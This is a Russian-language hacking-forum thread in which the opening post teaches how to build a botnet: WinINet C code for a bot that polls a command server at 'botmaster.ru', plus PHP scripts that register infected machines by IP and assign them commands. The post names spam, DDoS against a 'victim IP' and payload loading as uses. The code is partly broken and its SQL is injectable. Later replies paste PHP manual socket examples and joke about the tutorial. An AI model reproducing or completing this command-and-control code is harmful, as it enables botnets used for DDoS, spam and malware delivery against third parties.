• XSS.stack #1 – первый литературный журнал от юзеров форума

Написание и реализация управления ботом на php

Mail2k

(L2) cache
Пользователь
Регистрация
24.05.2006
Сообщения
379
Реакции
8
Нашёл небольшую статейку по данной теме.Тем,кто начал осваивать php и хочет написать на этом языке что то вроде админки по управленю ботами,думаю будет полезно.

Сейчас я расскажу как можно написать бота и управлять ими в последствии раздельно из админки на php.
Такс, начнем с бота:
Он будет иметь некий функционал - спам, ддос, лоадер. Неважно. Это не самое главное. Главное то, что он должен получать что-то из админки - адреса для спама, ip жертвы для ддоса и т.д.
И тем более чтоб нам было удобнее уметь работать с каждым ботом в отдельности.
Это простая процедура для захода бота на сайт и получения команды по его ip(я так сделал т.к. это проще всего, но можно передавать скрипту например id какой-нить железки в компе и тогда будешь точно знать что боты все разные и команду получит один бот, а не все которые имеют этот ip)
Код:
void main ()
{
char buffer;
DWORD  dReadFileCount;
   HINTERNET session = InternetOpen(LPCSTR("IE"), INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
HINTERNET hConnect= InternetConnect(session,"botmaster.ru",INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);

DWORD lpThreadId;
LPCTSTR AcceptTypes[] = { TEXT("*/*"), NULL}; 
 char hdrs[] =TEXT(
 "Content-Type: application/x-www-form-urlencoded\r\n"
    "Accept-Language:ru\r\n"
    "Accept-Encoding:gzip, deflate");
  char frmdata[] ="os";
  char wer[] = {TEXT("stat/command.php)};

  HINTERNET hRequest = HttpOpenRequest(hConnect, TEXT("GET"),wer,NULL,NULL,(LPCSTR *)"*/*", INTERNET_FLAG_KEEP_CONNECTION, 1);
HttpSendRequest(hRequest, hdrs, strlen(hdrs), frmdata, strlen(frmdata));
dReadFileCount = 0;
do {
InternetReadFile (hRequest, (LPVOID)buffer, FILE_BUFFER_SIZE, &dReadFileCount);
}while (dReadFileCount); 
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(session);
}
После выполнения этой процедуры бот зайдет на скрипт и запишет то, что скрипт выдаcт в buffer. С которым можно потом проводить всякие манипуляции.
Теперь напишем простенький управляющий скрипт:
МЫ будем держать все комманды и ip ботов в БД. Надо создать
таблицу stat и в ней 2 поля REMOTE_ADDR и command.
Сам скрипт добавления в БД новых ботов
Код:
<?php
include "connect.php";// думаю скрипт соединеия с БД вы напишите
$ip=getenv('REMOTE_ADDR');
$result = mysql_query("SELECT REMOTE_ADDR FROM stat");
while ($bot_ip = mysql_fetch_array ($result))
{
if ($bot_ip['REMOTE_ADDR']==$ip) // если бот с таким ip есть то ничего не делаем
{
$int=1;
}
}
if ($int<>1){ // иначе записуем его в БД
$result = mysql_query("INSERT INTO stat(REMOTE_ADDR) VALUES('$ip')");
}
mysql_close($link);
?>
Так в БД его записали. Теперь надо ему пердать команды. Это делается так:
Код:
<form action="loadexe.php" method="post">
<input type="text" name="command" value="">


IP Бота ->
<input type="text" name="ip" SIZE="20" value="">


<input type="submit" value="Дать команду">
</form>
<?

include "connect.php";

$ip = substr($HTTP_POST_VARS["ip"],0,70);
$command = substr($HTTP_POST_VARS["command"],0,64);
$res=mysql_query("UPDATE stat SET command='$command' WHERE REMOTE_ADDR=$ip");
if(!res)
{echo " mysql_error()";}
mysql_close($link);
?>
Ну чтож теперь выведем боту эти команды:
Код:
<?php
include "connect.php";
$ip=getenv("REMOTE_ADDR"); 

$result= mysql_query("SELECT command FROM stat WHERE REMOTE_ADDR='$ip'");
if (!$result)
{
echo mysql_error();
}
$bot=mysql_fetch_array($result);
echo $bot['loadExe'];// выводим на страничку команду боту
mysql_close($link);
?>
Ну вот и все. Это самая простая реализация.
 
>Главное то, что он должен получать что-то из админки - адреса для спама, ip жертвы для ддоса и т.д.
крутой бот получается )))
тема с бд раскрыта не полностью (структура таблиц где ?) , скрипты тоже до ума не доведены
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мда...мне сразу понравилось начало статьи
Тем,кто начал осваивать php и хочет написать на этом языке что то вроде админки по управленю ботами,думаю будет полезно.
Так что все кто хочет выучить php начинаем писать с ботов :)
А если серьёзно то вот примерчики по реализации настоящих ботов :D
Код:
Примеры
Пример 1. Socket example: Simple TCP/IP server

This example shows a simple talkback server. Change the address and port variables to suit your setup and execute. You may then connect to the server with a command similar to: telnet 192.168.1.53 10000 (where the address and port match your setup). Anything you type will then be output on the server side, and echoed back to you. To disconnect, enter 'quit'. 

#!/usr/local/bin/php -q
<?php
error_reporting (E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit (0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush ();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create (AF_INET, SOCK_STREAM, 0)) < 0) {
    echo "socket_create() failed: reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < 0) {
    echo "socket_bind() failed: reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, 5)) < 0) {
    echo "socket_listen() failed: reason: " . socket_strerror ($ret) . "\n";
}

do {
    if (($msgsock = socket_accept($sock)) < 0) {
        echo "socket_accept() failed: reason: " . socket_strerror ($msgsock) . "\n";
        break;
    }
    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));

    do {
        if (FALSE === ($buf = socket_read ($msgsock, 2048, PHP_NORMAL_READ))) {
            echo "socket_read() failed: reason: " . socket_strerror ($ret) . "\n";
            break 2;
        }
        if (!$buf = trim ($buf)) {
            continue;
        }
        if ($buf == 'quit') {
            break;
        }
        if ($buf == 'shutdown') {
            socket_close ($msgsock);
            break 2;
        }
        $talkback = "PHP: You said '$buf'.\n";
        socket_write ($msgsock, $talkback, strlen ($talkback));
        echo "$buf\n";
    } while (true);
    socket_close ($msgsock);
} while (true);

socket_close ($sock);
?>
 
 


Пример 2. Socket example: Simple TCP/IP client

This example shows a simple, one-shot HTTP client. It simply connects to a page, submits a HEAD request, echoes the reply, and exits. 

<?php
error_reporting (E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname ('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname ('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect ($socket, $address, $service_port);
if ($result < 0) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.0\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write ($socket, $in, strlen ($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read ($socket, 2048)) {
    echo $out;
}

echo "Closing socket...";
socket_close ($socket);
echo "OK.\n\n";
?>

Авторские права © Copyright 1997-2003 принадлежат Группе Документирования PHP. Члены этой группы перечислены на первой странице руководства.

Тем кому не лень зайдите же вы наконец на офф сайты типа http://www.php.net
да почитайте нормальные полезные вещи, а учится вот на таких статьях только портить всё с самого начало...
 
ну задрали перепечатывать ман...
>может структуру тамблиц он вручную прописывал ,
дамп структуры можна было сделать
>до ума такие скрипты в паблике доводить не кто не будет .
почему, я бы довел, но всё упирается во время, которого очень мало :(
 
чтоб всем все разъяснить - эта статья была написана для того чтобы можно было увидеть принцип работы.
вот правильно люди сказали - нах на паблик доводить до норм состояния, кому надо сам поймет и сделает как надо. тем более нахаляву прожигать моником мозг неохота, да и кушать хочеться, а паблик не кормит
 
нах на паблик доводить до норм состояния
...да и если довести до состояния "кондиции", то нам(нвичкам) будет трудно разбираться, а тут сплошной простор для креатива :crazy: :) :pioneer: ...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх